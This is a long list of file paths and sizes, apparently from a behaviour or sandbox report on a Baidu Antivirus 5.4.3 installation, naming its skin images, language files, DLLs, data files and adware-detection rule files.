%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1219.ScorpionSaver.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1187.Strongvault.rul (82 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_update_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\progress_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin.xml (92 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\icon_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\red_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_Fail.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin2052.txt (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\feedback_button_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\icon_del.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\checkeditem.jpg (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_malware_scan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\black_pop_detected.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnClose.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\black_pop_excluded.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_open.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavPluginRemove\skin.xml (29 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_green.bmp (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\menu\menu_item_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1157.AppsHat.rul (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\dl_safe_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\redpoint.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_type_suspicious.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\GuideSlice_6.png (95 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\progressbar\light.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\appbario7.rul (22 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1060.LuckySavings.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\qs.dat (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Download\res\skin\icon\watting.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin\Temp\SkinRules.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\unloadInvestigateTitle_cry.png (38 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\foldDisable.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1216.BuzzSearch.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\gray_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin\lockClosed.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\icon\PSafe.ico (1651 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\scrollbar\scrollbar_thumb_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\ProcessCustomScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\main_title_number .png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\639C9925-1C42-4236-991B-AEAB22353808\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\arrow_down.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\setting_btn_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Pop_Hips\Plugin_Pop_Hips.dll (3732 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\unloadInvestigateTitle.png (29 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\investigate_op_layout1_bg.png (44 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\radiobox\radio_unsel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1098.NewYorkYankeesToolbar.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\likeGray.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\log.dll (3616 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1089.DVDVideoSoftToolbar.rul (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\summary_top_safe_text.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1082.PricePeep.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\TopBtnClose.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\plugin\bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin.xml (90 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\ielogo.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bg_bubble_style_1.png (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\scrollbar\scrollbar_thumb_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\close_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\protect_icon_no.png (34 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\ProcessQuickScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1240.shares.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_bg9.png (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\progressbar\Installing.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\dds.dat (523 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\dl_threat_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\GuideSlice_6.png (96 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1242.utorrentcontrolv6.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\firsttips\close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\investigate_op_layout2_bg.png (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\bg\bg_safe.bmp (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin\onaccess\icon_ok.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\stepbar\inner.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavOpenUnknownFile.exe (3718 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1107.TVGenie.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\main_title_unprotected.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\scrollbar\scrollbar_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavPluginRemove\skin.xml (28 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnMin.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUpdater\skin\en_reboot_title.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\menu_ico1.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1166.SpyAlert.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\logosmall4.png (72 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\popbaseblueF.bmp (205 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavconfig\SandboxEnv.xml (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavAs.dll (3688 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1162.TidyNetwork.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1209.Torntv.rul (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\MyWebSearch.rul (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavLSP.dll (50 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin\top_icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_exit.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\popBg.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUpdater\skin\en_reboot_title.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHCHHandler.dll (3873 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\Upgrade-info.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\feedback\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_orange_arrow_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\msg_bg_blue_line.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\feedback\skin\SUBMIT_bg2.png (64 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\main_title_safe.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_num.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\CrashUL.exe (313 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_update.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\sysbutton\TopBtnSkin.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree\tree_title_bk1.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin\safeicon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\hp_green_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\guide.close.over.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1152.DealCola.rul (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\newtipsbase.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1214.CouponServer.rul (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUpdater\skin\en_reboot_title.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin.xml (60 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\unloadInvestigateTitle.png (30 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\combobox_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\focus.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\qs2fs_close_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\investigate_op_layout3_bg.png (26 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnDown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hipsma.dat (590 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\netshop_bg.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_infectfile.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_engine_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\checkox_sel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\tab.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\protection_line_class.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_scan.bmp (114 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\mn.dat (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1176.AutoLyrics.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\context\context.ini (324 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\checkbox_sel_nor.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_protect_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\black_pop_excluded.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkbox_hot_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\mainFrame_investigate_mini_layout1_bg.png (85 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_infectdesktop.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\IPlug_Scan\IPlug_Scan.dll (1702 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bndef.sys (1742 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1033.txt (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\IWantThis.rul (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\browerIcon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\headbase.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_scan_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavPluginRemove\skin.xml (35 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_7_slice_browser_setup_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1172.AskPartnerNetwork.rul (48 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\set_tab_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1102.FastFreeConverter.rul (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\PC_Faster_Setup_Mini_GL16.exe (5442 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\hp_green_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sc.ini (626 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\ProcessFullScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\guide_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1246.vuzeremote.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree\up.png (872 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\detailDef.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavPluginRemove\skin.xml (39 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\protect_icon_part.png (42 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\sysbutton\TopBtnForum.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\tg.dat (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavVt.dll (122 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin\lockClosed.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\dl_threat_s.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\investigate_op_layout2_bg.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\green_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\dl_threat_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkbox_sel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\plugin\button_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Communication.dll (266 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin\onaccess\listHeadLine.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\mainFrame_investigate_mini_layout2_bg.png (60 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\gray_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\feedback_button_down.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump\CrashReportModuleConf.ini (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\button_close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\summary_top_safe_custom.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_protect_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_note_big.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1226.quiknowledge.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1241.certified.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_reinstall_warning.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\scrollbar\scrollbar_thumb_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1074.CodecPerformer.rul (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\bg.png (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin.xml (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\BavPc.dll (1834 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\dl_threat_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\FailedTips.bskin (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\button\TrustBtnDown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\black_pop_detected.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\protect_page_logo.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavconfig\TipDelLanguageConfig.xml (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BEVMEngine.dll (3845 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1200.shopperpro.rul (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\side_orange_arrow_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\menu\menu_item_pup.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\main_title_safe.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1165.SavingsScout.rul (11 bytes)
